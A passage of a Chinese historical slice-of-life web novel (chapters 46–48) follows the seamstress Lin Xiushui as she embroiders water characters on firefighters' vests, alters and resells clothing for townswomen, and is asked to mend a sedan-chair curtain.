最后张木生一瘸一拐过来,把火背心递给林秀水,“姐,我想好了,我要叫雨生,水生都行,我真不信邪了,我就不能自个儿偷摸改,我要克火。” 林秀水更不信邪,面对成堆的火背心,要绣雨字,她缓缓冒出疑问,什么鬼?难道她生水? 45-50 第46章 第 46 章 衣治百病 一堆的火背心, 除了绣雨、水二字外,其他包括但不限于河、溪、汪洋、江海… 林秀水近来识字广,日夜熬灯苦读, 百家姓她已经会了百家,她确实能绣。而且火背心不是潜火兵或是穿在身上的甲衣,用铁片穿孔做成的那种, 绢布做的,颜色偏橙红,上头会有各队编号。 听潜火兵们讲,这衣裳主要不是为了防火, 而是怕他们在救火时,有人溜过来偷东西,要保护起火那家的钱财。 “那绣其他字做什么?” 林秀水好奇且不解, 看着眼前的几个潜火兵,想说能不能别跟张木生一块瞎胡闹了。 有高个子潜火兵说:“此事得从昨日夜里,城东西门路边上的巷子口,卖纸灯笼的小经纪家旁边的香蜡铺说起。” 近来临安内城边上多火患,桑青镇也是小火不断,尤其在蚕桑为重的市镇里,蚕月里养蚕孵出来后, 要架火盆里暖蚕室, 确保蚕能吃桑叶结丝, 有句俗语叫, 识得四月天,困勒床里吃一年。 所以确保蚕花丰收,镇里的“聪明人”想了许许多多歪招,有的买刻了蚕母的纸马香蜡, 沿着街巷到处烧,蚕月里要关蚕门,不到自家门前烧,烧别家门口,结果烧了别人挂着的竹架幌子,幸亏没起大火。 后面又是有大聪明,买贴了蚕花红剪纸的灯笼,到香蜡铺里再一对刻蚕花的香蜡,结果之后烧了小灯笼铺堆聚门前的灯笼,火光冲天。 西街望火楼上的潜火兵立时敲锣,夜里打上专门的灯笼,白日要挥旗,并喊七队。潜火七队正是张木生待的潜火队,他饭没吃两口,正打盹呢,一听锣鼓跳得老高,抱起水囊风一般往外跑,耽误火情要被砍头的。 而且今日风刮得猛,小灯笼铺院子里灯笼都着起来,连着一排长竹竿烧得噼里啪啦响,火星子到处乱蹿,里头人又慌又忙乱,赶紧把灯笼往后头挪。 潜火兵赶紧用手里的竹竿,上头绑了两斤多的散麻,蘸水蘸泥敲打扑火,也有两人扛着水袋,各自拽一头,顺势往火里扔的。 张木生跳起来扔水囊,正中上头烧得最旺的大竹竿,接连不停歇不疲倦地扔,水囊在火里啪啪炸开,火都烧到他眼前了,他嘴里还念念有词:“雨来雨来,水来水来,雨水都来。” 因为糟心的是这巷子还不临河,没有河水的话,潜火兵带来的水囊、水袋,哪怕有桶里的水,必须要去附近的水行里买水,要等水行人将水运来。 要说远水救不了近火,张木生流汗喘气,他手里水囊也没了,到别人家里拿了水桶来浇,一直喊水来雨来。 潜火兵们听见了还看了他一眼,搁这求雨呢,那咋不扔两张雨龙纸马进去呢? 结果说完,大伙脸上突然甩上了几滴雨点子,有人伸手摸了摸,什么东西?雨?难不成张木生真能求雨?随着水点渐大,大伙真是信了邪了。 再抬头一瞧,结果是墙后头,街道司的人爬了上来,甩着又大又重的布头拖把,在那哐哐乱甩“降雨”,一群扫街的街道司人冲进来,用沾了水的拖把一阵乱扑,水花四溅,尘土飞扬,争取到水行人过来。 也算水来,“雨来”, 这火到后头,只烧了百来只灯笼和小院,没烧到人,后续那烟灰都是他们用拖布擦的。 当然除了大谢特谢街道司的,并且将拖把列为防火用具以外,潜火七队的人深深认可了张木生的行为。 万一这种另类的求雨求水方式有用呢? 不是每次他们都能灭得了火的,没有河的地方,离水行远的地方,杯水车薪,等着的就是房屋尽毁,也有人死而家破人亡,或是烧尽家财。 平头百姓攒点屋产可不容易,勤勤恳恳十几年,几十年,一场大火便能烧成灰烬。 有个老潜火兵说:“这不是想着,要有点用,那还能早些灭完火,挽回点东西来,像有次我们也正扑火,那场火烧得可旺了,什么法子也给用上了,没扑灭,倒是天公作美下了场雨来,叫人还有个家底。” 其实倒也不是信绣个字有用,只是想着做这行,沾点水总是好的。 而林秀水想起之前给街道司做的拖布,没想到这时能派上用场,其实后面王月兰断断续续做了几十把,街道司的总是很早来,林秀水也没跟他们碰上面。 到后头她以几百文的价钱,把法子卖给了他们,没再过问。 林秀水回过神,她点点自己,“那你们找我,算是找对人了,谁叫我名字里头带水呢,什么江河湖海,不都是水汇聚而成的,水克火嘛。” 她其实在扑火上,也没有什么能帮到潜火兵的,除了绣什么水相关的字以外,给每人的火背心衣角多绣了平安二字。 从烈火中平安归来。 人的一生里,难得平安喜乐。 当然她还真被张木生给整的,也出了一个不靠谱的主意,买雨龙的纸马,装在香囊里头,说不准真能降雨呢。 关键大家还信了,买了雨龙纸马来,请她做了专门的香囊,贴身珍藏,闹到后头,不止潜火七队,什么六队啊,五队啊,都来求个雨囊,水生雨,雨灭火,大家真信。 总共有八个队,都有一些潜火兵买了,并且戏称为这是八方风雨汇桑青,水来雨来火不来,平平安安护家宅。 一切源头的张木生难得正经道:“有用没有,我们心里都有数的,只不过火里去,火里走的,图个心安。” 反正火灭了,他就心安,百姓家宅没事,他就高兴,木也能生于火上。 谁能想到之前,他还只是图潜火兵说出去体面,要叫爹娘邻里说他有出息,为了面子,为了更好的前程。 眼下也贪图,只是忽然有了责任,救屋救人于水火之中。 他说得铿锵有力:“我要做火杵,做烧火棍,做炉子,当炉不避火!” “你还是避一避吧,”林秀水捂脸,本来还想说,张木生不仅长高了,还充实了他的思想,这会儿一听,摇摇头。 孙大那句话怎么说来着,木头心眼,钻也钻不透啊。 张木匠说他这个儿子死心眼,但倒是一家停工一日,坐船到昭庆寺去,给他求了道符,特制的辟火符。 回来给林秀水做桌子,王月兰抢回来的一堆竹木,嫌林秀水的摊子那张宽木板太寒酸,椅子不够高。 丝行的工钱月中才算的,拿到钱,王月兰想想,给小荷买了新鞋,给猫买了猫鱼,给林秀水买了把青布大油伞。 那油伞很大,撑开来能罩住三五人,但撑开来挺费劲,要插在钻了洞的高木墩上。 林秀水努力举着伞说:“姨母,是不是近来天要热了,怕我热到。” “那倒不是,”王月兰拿了一吊肉进去,“怕桑树开始长虫,掉你头上,这都没到夏至,热什么。” 小荷正满头大汗,小脸通红从外头跑进来,她和小花玩放纸鸢,遛小叶去,还没进门便喊着:“热,好热。” 她用手扇风,并仰头问她娘,“阿娘,我能到桂花姨那洗身子吗?小花要去,她说桂花姨洗得可好了,澡豆也香。” 王月兰切肉的手一顿,瞥小荷一眼,“我洗得不好?” 她给陈桂花送钱,那是万万做不到的!做梦! 小荷捂嘴,没敢说实话,林秀水也瞧她,她更不敢说,两人给她洗身子,没轻没重的。 她娘洗的是没轻,重得她嗷嗷直喊,恨不得皮都搓下来,她阿姐洗的是没重,轻得像在缝衣裳。 林秀水看热闹不嫌事大,收起伞来道:“让她去呗,左右她自己赚钱。” 王月兰心疼钱,更心疼钱到陈桂花手里,先是带着小荷到就近的香水行里转了转,而后退出来,这烧点水擦个身跟抢劫一样。 要她说,陈桂花洗浴活计居然能干下去,也是有道理的,索性心一横,让小荷自己拿钱去洗,这受累的活还是让陈桂花干去吧。 左右两个大人的矛盾,跟小孩是不搭边的。 小荷洗得皮子滑溜溜出来,钱袋子空空如也,她嗅了嗅自己身上的澡豆香,哭丧着脸说:“没啦,钱跟皂角泡泡一样冲走了。” 王月兰和林秀水早就料到了,此时都在那笑,只有小荷一个人难过,来自攒不下钱小孩的痛苦。 但她下次还要再去。 林秀水近来赚的钱不少,而且得到了许多莫名其妙的关心,来自每次上街,街道司各位的友善慰问,她说是不是拖布卖给潜火队,叫他们出了风头,或者地拖得很好?到锃光瓦亮的地步了?当然,这是个未解之谜。 有解的是,她第一次接不正经活计的,给斗鸡做衣裳的,李习闲带着他长了半身毛的铁公鸡,来给她送礼,送鸡长毛的礼。 送她几百个鸡鸭蛋,林秀水看见只想说,真是辛苦,辛苦鸡下蛋,辛苦鸭下蛋,辛苦她全家吃鸡鸭蛋吃上三个月都吃不完。 林秀水只好到处分,分给小春娥,分给苏巧娘,分给张木生,分给裁缝作的等等,搞得有几日,见人不是先问好,而是问,要蛋吗?分你几个?够不够?不够还有。 简直为蛋发愁,难得有她棘手的时候。 这四月时节,天渐渐有些闷热,尤其桑桥渡这种房屋紧挨的,巷子边高墙树立,早上凉凉飕飕,傍晚热烘烘。 林秀水自从有人分摊她的缝补活计,虽然活仍旧多,但她已经不像从前那样着急,实在急的都能到胡三娘子那去,她开始早间补东西,不管是孙大或者宋三娘,亦或者其他各色人等。 傍晚回来接改衣裳和做衣裳的活计,她眼下终于有工夫做了,从前只能掺在缝补东西里。 裁改衣裳,她都是放到自己的裁缝屋里,大多是要给娘子们量身的,这会儿春衫正薄,大庭广众人多不大方便。 有不少人找她改衣裳。 像前街卖蒸饼、馒头的李娘子,拿了两条裙子来,迈进门槛里问:“阿俏,你帮我瞧瞧,这下裙能不能改成背心?做得好看点。” “这天怪闷的,我揉点面,那汗就跟蒸笼上的气一样,全往外冒,我光一早上蒸个东西的工夫,后背湿一大片。” 林秀水附和一句,伸手接过来,一条挂在自己胳膊上,一条双手拉直,看一眼尺幅,这条桃红的裙子没有做褶,倒是不算很宽,另一条是浅绿的,也没有做褶,但要宽上许多。 “娘子你等等,能不能做背心,我给你量量先。” 她的布尺挂在脖子上,挂了三四条,有两尺的,三尺的,穿着件青绿的围裙,中间大大的围兜里塞了两把剪子,一把大,一把小,腰间侧边的兜里插了把桃木尺和一支画眉的笔,方便她画点位和记东西。 林秀水在裁缝作里,进出都是裁缝,也学了点好的做派来,将裙子摊在平桌上,顺势抽了两尺的布尺来,横宽量了,右手拿出眉笔,在纸上记下,要放宽点,等会儿还得熨一熨。 “娘子,我给你量量,你等会儿抬抬手。” 林秀水拿了布尺,关上门,走过去跟李娘子说。 宋制背心的袖口会有下垂的布料,翘起来,瞧起来带点袖子,衣长要到腰以下,对襟直领,女子们除了夏日会在家里单穿背心和抹胸外,大多数外出是套在上襦或褙子外的。 林秀水量了量领缘的宽度,肩宽,从左肩处骨头最外处拉到右肩,量胸围,要量最丰满的地方,胳膊处,做袖口,衣长,还有臀围,要盖到屁股以下。 这种量出来,通常都要有放量,林秀水还得打版画纸样,李娘子有点驼背,胳膊壮实,屁股大点,要考虑到这些,能给遮住。 毕竟没有人希望花一百五十六文改件衣裳,结果做出来哪哪都暴露出身材的缺陷。 改衣 裳也得扬长遮短。 李娘子说:“我就信得过你,其他人总说,改什么衣料,再买件背心得了,可我这下裙穿不了了,每日三更天我就得起来,光是做点蒸饼,挣的钱五六日才够买件背心的。” 而且很难以启齿的是,像她这种身形的,去成衣铺里买件衣裳,都不大敢去,比不得别人纤巧,她比较粗笨,即使年到三十,也时常会因为衣裳而有难言之隐,艳羡而口不能言说。 林秀水早听出来了,从量身形开始,李娘子就问她壮不壮,胖不胖,好不好做,费不费布料。 她放下桃木尺和纸头,想着要胸前两片和后背一片,再加领抹,抬起头冲李娘子笑道:“保管娘子你穿得好看。” “我当裁缝只有看布棘手,没有看人棘手的,再好的布都是得衬人,不是人衬衣裳。” 说实话,哪怕今日李娘子生得再胖,她都会尽力给人家做出显瘦的衣裳来,而不是叫人减减身形,套进不合适的衣裳里。 林秀水宽了李娘子的心,隔了两日,李娘子来试背心。 两条裙子在林秀水的拼凑下,改成一件前粉后绿的背心,袖口和衣边处都加了绿色绣花的领抹,胸前有飘带,这种绢布料子比较薄,很容易皱,她都有细心熨过。 李娘子穿上后,借由林秀水放置高的镜子,往后退两步走远点,来瞧自己穿上的模样。 窗外光照进来很亮,她前后转了转,时时都在瞧自己在意的那些地方,肩宽、臀、胳膊,而后才瞧到了衣裳,都将她在意的点显得瞧不出来。 而且桃粉衬得她不再年轻的容貌,也因为露出笑容,小小的美丽和鲜研。 林秀水看她高兴地拉扯衣裳,也有了笑意,叫她以后想再改衣裳便拿布来,她给李娘子量过的身形单独记录在册。 应当说她的本子上,记录了好几位娘子的身形数据,都是不再年轻,操持家中事务,身形跟年轻时大变样。 尤其到天热后,衣衫越来越薄,关于身形和穿衣烦扰也越来越多。 这种忧虑相当正常,像是废弃的蚕茧,绕不出来的蚕丝,缠在心里,越解越难解。 但到她这里来,林秀水各有各的招。 比如胖的,像是打小就没有瘦过,生完更胖的王六娘子,她整个人都圆,还矮,进门就自嘲道:“我去成衣铺里,啥也不用看,就跟人家说,给我来件最宽最短的就行,有时还套不进去。” 林秀水看了她一眼,穿褐色衣裳,褐色的裙子,要把自己搭成树根。 其实得要穿明快的颜色,去掉多余的修饰,什么花花绿绿的纹样,而且不能穿得太厚重,越厚重越显得笨拙。 林秀水给她搭了身衣裳,浅绿蓝下裙,腹围遮盖,再加件撞色的背心,本来人家很抗拒,觉得自己穿上去丑得不行。 结果王六娘子一穿上,她惊奇地喊:“娘嘞,神医啊。” 什么吃不着,睡不下,一想到夏日发愁的毛病,全给医好了,那当真是衣能治假病。 从林秀水这出来后,她逢人就说,千错万错,不是她自个儿的错,怨布怨针怨线怨衣裳,埋怨不到她身上来。 而林秀水缝补的宗旨是,补好补到原样补出新花样,至于改衣裳嘛,那就是治胖治瘦治矮治丑,衣治百病。 绝对不能让人为了一件衣裳困住。 但是来寻她改和做衣裳的人大排长龙,里头有些人只是想买合身的衣裳,什么也不挑。 于是乎,林秀水又动起了歪点子,做不如改,改不如补,补不如到估衣铺买衣服,买了再改再补。 第47章 第 47 章 找阿俏的,关她林秀水什…… 四月下半旬, 估衣铺卖夏衫,掺杂许多要坏中挑好的春衫。 在桑河桥,行船到桥边, 打头一片是卖旧衣的,多数在地上铺张席子,撂一堆旧衣, 嘴里吆喝,卖的便宜,但东西差,不晓得从哪里进的衣裳。 而左右两边则是估衣铺, 最吸引人的不是幌子,而是门口边有张小摊,两人拆从质库或是其他地方扑买来的衣裳包袱, 抖抖各色衣裳,一唱一和。 刘牙嫂开的估衣铺,倒是没请人叫卖,她铺子不像其他估衣铺加门板,不见一点光,屋里黑漆漆的,衣裳好坏全靠手摸, 她的门大开, 各式衣裳挂在里头, 男女老少, 一应俱全,生意倒还凑活,门面比较小。 “吃了没?没吃再上我这来吃点,你可有段日子没来了, ”刘牙嫂正往外卸门板,见到林秀水走来,高兴得很,不说其他,她可喜欢同林秀水做生意。 刘牙嫂将门板堆到一边,瞧林秀水手里看了眼,“没带那半人木头东西呐,咋的,不要了,当柴烧了?不要给我啊!” 林秀水歪头看她,摇摇头,迈步进了门去说:“我可没说不要,放家里呢,带它怪重的,啥时候不要了,没有那时候。” 苏巧娘又不是专做人台的,眼下正忙,接了别人悬丝人偶的活,赚点糊口的钱,得带徒弟雕上一两个月的工夫,她又不好时时打扰人家。 她掏出布尺,扯出两头拉了拉,“今儿个带了这东西来。” 时下娘子们穿的衣裳,大多离不开这几样,套外头的褙子、背心,裹里头的抹胸,或是上襦,下头更好,裙、裤两样,一般娘子身形相当,量准了,尺寸好改。 而且有些娘子到她这里来,不是想改衣裳,也不是想挑花色,就是想买件合身且便宜的衣裳,最大的要求是,不破,能穿。 林秀水要是给每个人做,她一套得花上好些日子,不划算,而且她做做收的钱得三四百文,不算布料的价钱,真不如买旧衣改了划算。 “赚钱了?发家了?”刘牙嫂看林秀水去挑好料子,有些惊奇,从前她来,什么便宜挑什么。 开玩笑,林秀水当然没发家,但钱是真赚到了不少。 她眼下卖手套以及各色东西,缝补还有来自领抹处的,她眼下能拿出三五贯用于买旧衣,语气豪气得很,话是这样说的,“我先看看,贵了我也是不要的。” “我这个人也图便宜。” 刘牙嫂靠在衣裳边笑道:“还当你赚了大钱,正想同你讨教下门路呢。” “哪来的门路,靠两只手赚钱过活呢,”林秀水说着,扯了件浅褚白花的褙子,拿下来细瞧,用布尺量过,尺寸合适,又一寸寸摸过瞧过,后背处破了两个洞,刚巧她能补。 刘牙嫂刚扑买来一包,粗粗瞧过一遍,她们估衣铺做生意,好的坏的任人挑,给林秀水折价七百文,哪怕破了洞的,卖给别人得卖一贯二钱,多好的料子。 林秀水又拿了条淡紫的裙子,问道:“这条呢?” “这条料子一般,但这布是平江府来的,纹样不错,而且你看布料用得多,九百文最少。” 林秀水没说要不要,手又摸上旁边浅石绿的上襦,刘牙嫂立即道:“临安府来的葛布,别看边上抽了些丝,买来也得要上一贯五六的,我给你算一贯,妹呀,你也是裁缝作里混的,我价实不实诚,你肯定有数。” 林秀水当然清楚,一件衣裳好不好,从哪里来的布、面料、质地做工、花色纹样,有没有衬底、尺寸,再到领袖、有无破损,这都是看衣的门道。 她问的衣料不算特别好,但能瞧出来,穿上去身形很正,小改一番就成。 价没话说,她嫌贵没话说,衣价猛于虎。 这年头平民百姓想买套衣裳穿,得花一两个月的工钱,才能置办起一身毫无花 样的。 她看向角落里,纯色的衣裳堆了一大堆,大多有破洞,料子一般。 但是它便宜啊,不管褙子、上襦还是下裙,两百文,通通两百文大甩卖。 刘牙嫂手心吊着三贯钱,直愣愣的,站在门边手一伸一缩,望着林秀水扛大包袱的背影。 只想说,妹啊,好歹带件贵的走啊。 虽说衣裳这玩意,买好不买差,买差穿一季,买好穿几年。 可桑桥渡的人有大把银钱吗? 没有,不然林秀水的缝补生意能做得这么好,便宜麻袋布头能卖得多?大多人家都是抠着点钱用的。 林秀水给这衣裳,先花几十文,送到洗衣行里浆洗,拿到手先熨,再拆掉领抹,换上她用各种布头纹样做的领抹,裙上系结子,不合身再稍微改一改,三百多文就能买到件衣裳,而且穿上身耐看合身。 这衣裳卖得极好,想买想改得摇号,这是林秀水想出来的法子,不然分给谁也不合适。 娘子们接受度极高,毕竟到菩萨和佛祖面前许愿,还得烧香烧蜡投钱的,许愿还得花上许久工夫实现,眼下便宜衣裳在眼前,啥也不用,抽个签的事,真是谢天谢地。 是以大早上的,桑树口一众摊子的人,就看这堆娘子“做戏”。 有的娘子拿着个签筹罐子,上摇摇下摇摇,头一点点的,“菩萨保佑,菩萨保佑,我谢三花今日得抽中,嘿,蓝的,气人。” 签筹蓝的不中,红的中,总共十支签,两支蓝,八支红的。 “边上去,让我来,我这人旁的不说,手气可没话讲,上回还在河里洗衣裳,捡到一文钱,”另一个娘子抢过签筒,她自吹自擂,在一堆人的眼里,掷出了支蓝的。 其他人一哄而笑,她气恼地挪挪自己的发髻,一跺脚,“到底有没有天理,签也得讲签理啊!” 此时这群人都无暇顾及买不到便宜衣裳的失落,全是对自己手气的懊恼,转而变成对别人好手气的啧啧惊叹。 本来林秀水害怕大家买不到衣裳难受,才出了这么个招数,但是完全没有,后面受伤的只有她一个,简直岂有此理。 大家已经把她的签筒当成测手气的了,篾匠周阿爷要去选好竹料的时候,会先跑来借个筒,一番念念有词后,才投签掷筒,掷出个蓝的,他扭头便一屁股坐下,拿起别人送来缝补的篮子,边补边说:“今日不宜办事啊,还是补东西吧。” 住在巷子里的娘子也是,有几个一大早急匆匆跑来,不补东西不改衣裳的,借了签筒就是一掷,抽出红的就高兴,那娘子一拍大腿,“我今日运好,肯定能买着最便宜的米。” 有的娘子抽出红的打个哆嗦,满脸不敢相信,“我的天爷,我今日走那门死抠到连粪桶都得涮四遍水浇东西的亲戚,能得他家一星半点回礼?怎么就叫人不信呢。” 后头回来,她确实得了回礼,是一桶嗦过的骨头,叫她拿回来喂狗,气死个人。 搞得林秀水都从无可奈何,到乐颠颠看戏,反正在桑树口总有热闹瞧,不是胖儿子把爹的传家画给戳上洞,哭天喊地的被追着打,绕着这几个摊子跑,一边跑一边提裤子,最后被修书画的夫妻俩修好,才算能把裤子穿好。 要不就是担一对鸡笼的从对岸过来,正从鸡鸭行里买了老母鸡大公鸡,小鸡仔,结果到了边上,鸡笼底掉了,大鸡小鸡连忙飞出来。 那真是混乱极了,胡三娘子一边拽自己的布一边喊:“哎,我的布,哎,鸡飞到我布上了。”篾匠周阿爷急得慌,一把拽下鸡笼来,那人还喊:“鸡笼呢,啊呀,我的鸡咋飞到伞上去了。” 林秀水的青布大油伞,好好的大伞,先给鸡踩上两个鸡脚印,她咽下嘴里的鸡蛋,嗯,吃鸡蛋太多,造的孽。 正来给她送钱和缝补东西的孙大,见了这众人捉鸡的场面,张口就说:“真是鸡毛炒韭菜,乱七八糟啊。” 看很多人瞪他,又嘿嘿一笑,“我说话是裁衣不用剪子,瞎胡扯呢。” 林秀水默默拍走桌上的鸡毛,假装没有鸡来过。见孙大带了个女子,瘦小的女子旁边又有个孩子,有些好奇,“要补东西的?” 孙大摇摇头,“那不是,她改衣裳的。” 又转而冲那娘子说:“这就是林小裁缝,你有什么要改的,同她说便行,便宜,不会叫你多花钱。” “改什么衣裳?”林秀水温声问道。 那娘子应该三十岁,举止很局促,大伙瞧她更放不开,急得说不上话来,小女孩习惯接过话说:“我娘要改一件褙子,想改得好看。”有其他人宽慰道:“那找对人了嘛,没来错地方,别急别急,有话慢慢说。” 那娘子更加局促,连手往哪里摆也不晓得,只是一味干笑,低头冲大家不住点头,小女孩则大方说:“我娘说多谢。” 孙大说是路上碰着的,见她跟人谈不拢价钱,急得面红耳赤的,手足无措,给带到林秀水这里来。 他又拿了四五十双手套,到处行船去卖,交代清楚缝补东西后,才急急走了。 而林秀水收了摊,将那娘子和小孩带到自己屋里,才知道她有口吃,说话听不大清。 小女孩又瘦又黄,口齿很伶俐,她跟林秀水说:“我娘我就叫我娘,我叫李三丫。” 李三丫仰起头,很自豪地说:“我娘想改衣裳,她之前是别人家的苍头嫂,眼下说是能到排办局,想改身体面点的衣裳穿。” 她娘又急又气恼,拉李三丫衣裳,怎么什么都往外跟别人说。 但李三丫不以为然,苍头嫂虽是富户人家里擦扫,做打杂活计的,可不就是正是因为如此,才能到排办局里,继续做洒打、拭抹的活。 林秀水听懂了,倒是没说什么,伸手接过那包袱,摊开来瞧了瞧,是件灰白的褙子,但袖口是橙红。 想改得体面点,有些费劲和棘手。 她微微弯腰跟李三丫说:“过两日,到酉时边上来拿,你改的衣裳有点多,得要六十文,先给我三十文,这是行价,如果改完觉得不好,我们还能再退。” 李三丫的娘急急点头,从包袱里拿出布袋,一层层打开,叫李三丫数钱。 李三丫要先算算,比别人家便宜,才数给林秀水三十文,好好道谢过,才牵她娘走了。 这种褙子林秀水左改右改不大满意,隔日带到裁缝作里,眼下她又不是只有自己是裁缝,人多法子多。 到领抹处里,还没上工,一堆裁缝娘子围过来瞧,先瞧那蓝灰色的褙子,像洗多了洗得发白的旧布套子,穿身上比套了麻袋还难看。 老裁缝在头上擦了擦针,看了眼说:“先把这领抹拆了,蓝灰的套橙红,简直是老母鸡戴鸡冠,不像个样子。” “领抹也用蓝底,衣袖和领边都加宽,阿俏你的抽纱绣不大合适,太轻巧了,这适合,”杜娘子摸了摸说,“别怪我王婆卖瓜,自卖自夸,就适合我的绣法,暗纹山水领抹,我家里有一堆,明日带来给你搭上。” “我俩啥关系,你还给我算钱,我小朵上回过生,你还送她一只布做的兔子,她可中意了,我难不成还折算钱给你。” 小裁缝小环将身子斜插进来说:“别争钱不钱的,谈钱多伤我们情意,我们不如来谈谈,林阿俏收不收徒弟,教不教新的绣样,比较适合我们的针线感情。” “什么针线,”给林秀水打下手的李锦说,她只听后几个字,“我有很多针线,全给阿俏。”林秀水看她一眼,李锦啊啊两声,点点头,这是要她去拿针线的意思。 “我不是这个意思。” “那是什么意思?”李锦立即问她。 林秀水正色,“去抽纱线。” “哎,不跟我说,”李锦扭头执行,嘴里仍在说:“什么意思是什么意思?” 其他人闻言哈哈大笑,有个娘子抹抹笑出来的眼泪,跟林秀水说:“我去给你喊隔壁缝褙子的,一块来出出主意。” “我们说这颜色改改没意思,要好看,就是一股脑遮上,但是阿俏诚心发问,”有个梳高髻的娘子将手搭在林秀水肩上,用剪子点点褙子后背,“加条窄边。” 又划划褙子侧缝两边,“剪开,肯定要开衩,缝绿的宽边,袖口接缝处,最好也缝两道窄边。” 另一个裁缝娘子将针线别到围布上,背过手瞧了圈,“颜色浅的,其实加染最好,我们做裁缝的,能不能别这么死板。” 她嬉皮笑脸地说:“等会儿姚管事听见了,又得说,啊呀,我们得学学别人家好 的地方,为什么她们裁缝作里能想到新奇的花样子,你们就想不到,还是脑筋跟印版一样刻在那,就生一个模子似的。” “你出钱?就六十文的费用,谁接染的活,哼。” “诺,说你死板还不信,我家开染肆的,你找找我怎么了,我不要钱!” 林秀水还没说话,刚才呛声的娘子笑了声,“太好了,等的就是你这句话。” “你们怎么都在笑,我是不是被下套了??” 其他人发笑,只有李锦说:“套,什么套?” 有裁缝说:“是歪锅和偏灶,一套跟一套啊,李锦啊李锦。” 林秀水笑得揉肚子,当真跟她们在一块,是一句话多余的话也插不上,感谢不用说,因为她们会说,少说虚情假意的话,多送两条领抹才是你正经该做的。 至于该染什么色,林秀水其实问过,李三丫说她娘喜欢蓝的,这件蓝灰色洗很多次,是柔蓝色洗退了。 林秀水又给染回去了,不满意再退,也按照其他裁缝指点的那样,给去掉领抹,换上新的浅石绿宽边领抹,两边的侧缝开衩,领抹中细,背后加宽缝。 这件在两边裁缝娘子合力指点下完成的褙子,送到了李三丫和她娘的手里。 “这换了件褙子?”李三丫瞪大眼睛。 她娘忙摇手,努力说出一句话,“钱,钱不够。” “什么不够?”林秀水将衣裳给她,“够了,我很便宜的,染的不要钱,缝的布头算你们三十文,我还赚了。” “而且,万一我有用到排办局的时候,还想靠你们呢。” 李三丫抬头瞧她,可是她们很矮小,靠不上的。 即使能进排办局,干得也是最辛苦最累的活,只不过想头几日,穿得能稍微体面点。 “那就多吃点,长高点,”林秀水从柜子里拿出个布老虎,塞到李三丫手里,“说不准你以后会长得跟老虎一样强壮。” “真的吗?” “当然。” 林秀水说:“只是要靠你自己呀。” 她看着母女俩人走出院子,走出长而弯折的巷弄,走到外头的宽阔地方去。 看见她们,她总时不时想到桑英,想到哪里了,能不能顺利从上林塘出来,从田野里到更适合她的地方里来,桑要长在桑青镇里。 而她想,真是各人有各人的日子。 当然,比起等到桑英,她最先见到的,倒是帐设司的人。 在她从清河坞回来时,一堆人围在桑树底下,围了里三层,外三层,还有吵嚷声。 林秀水也钻进去瞧,以为又出什么热闹了,她将脑袋往里挤,没瞧见,用手推推边上的人,小声问道:“出什么事了?” “什么事,帐设司的人过来了,找阿俏呢。” 林秀水正踮起脚来看,闻言连连点头,压根不过脑子地附和:“原来是找阿俏呀。” 嗯?好像有哪里不对。 找阿俏的,关她林秀水什么事—— 作者有话说:更新晚了,红包[求求你了] 第48章 第 48 章 借帐设司的光 帐设司属四司六局, 而四司六局在整个临安府很出名,最顶上是临安内城官衙设的,给官府、富贵之家承办婚丧嫁娶筵席的。 四司为帐设司、茶酒司、厨司、台盘司, 六局则是果子局、菜蔬局、蜜煎局、排办局、油烛局、香药局,小春娥想进的油烛局,便是内城里的四司六局, 是吃官家饭的。 但是来找林秀水的,是内城里出来,民间承办的四司六局,给普通百姓承办抓周、洗三、成婚礼、冠礼、赛社、会亲、送葬、献神等等的, 在这里干得好,才能上到官家的四司六局里。 “修什么东西?” 林秀水掩面,用袖子盖住脸, 扭头压低声音,悄悄问边上人,要是东西棘手,她不会修,还能转身溜走。 这叫三十六计,走为上策。 那人正看热闹,闻言头也不回地说:“要修一顶暖轿呢, 从临安运来, 发现前头帘布坏了, 哪也没去, 就直奔我们桑桥渡来了。” “你说说,是不是我们这阿俏缝补手艺出了名,连帐设司都听闻了!这就是行行出状元啊,想当初阿俏在这支摊, 那真是——” 林秀水看他,生面孔,她都不认识,真想说一句,别来这套。 她正想说话时,忽而有人眼尖看见她,用力穿过人群摇着双手喊:“阿俏,阿俏回来了!”“真的,阿俏回来了,回来了,赶紧的。” 从前没见你们这么欢迎我,一到有热闹瞧,那起哄声比谁都响,真是气煞林秀水。 但她在众人的推嚷和欢呼里,从挤不进去,到推到最前面,和帐设司来的几人好几目相对。 “我呀,小娘子你还记得我不,在成衣铺里找你修食屏的,”张小四一见救星来了,牙也不疼了,赶紧三两步,跑上前行礼,又拍马屁,“我们帐设司这活遍寻上下,怕是只有你能做了。” 林秀水记不得他,送来修补的人总会记不大清脸,可经林秀水修补过的东西,哪怕过去许久,光是说两个字,她清清楚楚明明白白,脑子瞬间冒出了那块青绿山水画的食屏。 帐设司的活是布置场地的,管椅桌陈设、器皿合盘、酒担动使等等的。 但是这玩意,也包括一顶大红布轿子吗? 林秀水百思不得其解,其实轿子在桑青镇不多见,大伙更喜欢行船、走路,以及骑驴。 张小四冲众人再三行礼,叫大家伙让让,留出些地方来,躬身叫林秀水仔细瞧瞧,低声道:“没法子,这活我想不到旁人,大抵只有小娘子你能补了。” “这是顶暖轿,我们用来迎亲的,没想到帘布上的织绣竟然勾裂了,成了断口,补不回去了,换帘布主家不愿意,眼瞅就要到迎亲日子里。” 怕耽误吉日,那可担待不起,张小四牙疼,嘴角都起了两三个火泡,想着别出事,反正一想真出事。 四处问询,从东边一路赶过来,最后求到林秀水头上。 林秀水撩起轿子上的帘布来,这种暖轿三面为木质屏障,就前面这块是纱质垂帘,很轻薄,而且上面的刺绣为纳纱绣,不是临安府往南一带盛行的绣法。 而且刺绣是在方眼格纱孔中,用细针挑绣的,这红纱垂帘上是一对喜字和牡丹花绣,破洞的地方正巧在中间喜字下方,那团牡丹花上。 织补要得有相同颜色的原线,绣补最好线相同,林秀水反反复复看,摸了又摸,拆不出线来,而且绣的话,反面的线迹一定凌乱,想补好的话,对她而言,也是很棘手的活。 她揉揉眉头,回过身,大伙期盼地瞧她,有些人比她还紧张,也有娘子站到林秀水旁边,说要不能补的话,她们把大家都轰走,挨个跟赶小鸡崽一样赶回家。 林秀水将自己挎的布袋拉到跟前,取出布尺,量了量垂帘的长宽,跟帐设司的几人说:“要一块这么长的纱布来,要红得差不多。” “至于怎么补,先抽了这一块全部的纱,再用绣线织补出其他牡丹的纹样来。” 她说完,众人啊啊两声,仿佛醒悟过来,然后有人说:“完全听不懂啊。” “听不懂就对了,听得明白你就自个儿上去补了。” 林秀水也没管,她补这垂帘,最大的难点在于,这玩意不能拆啊! 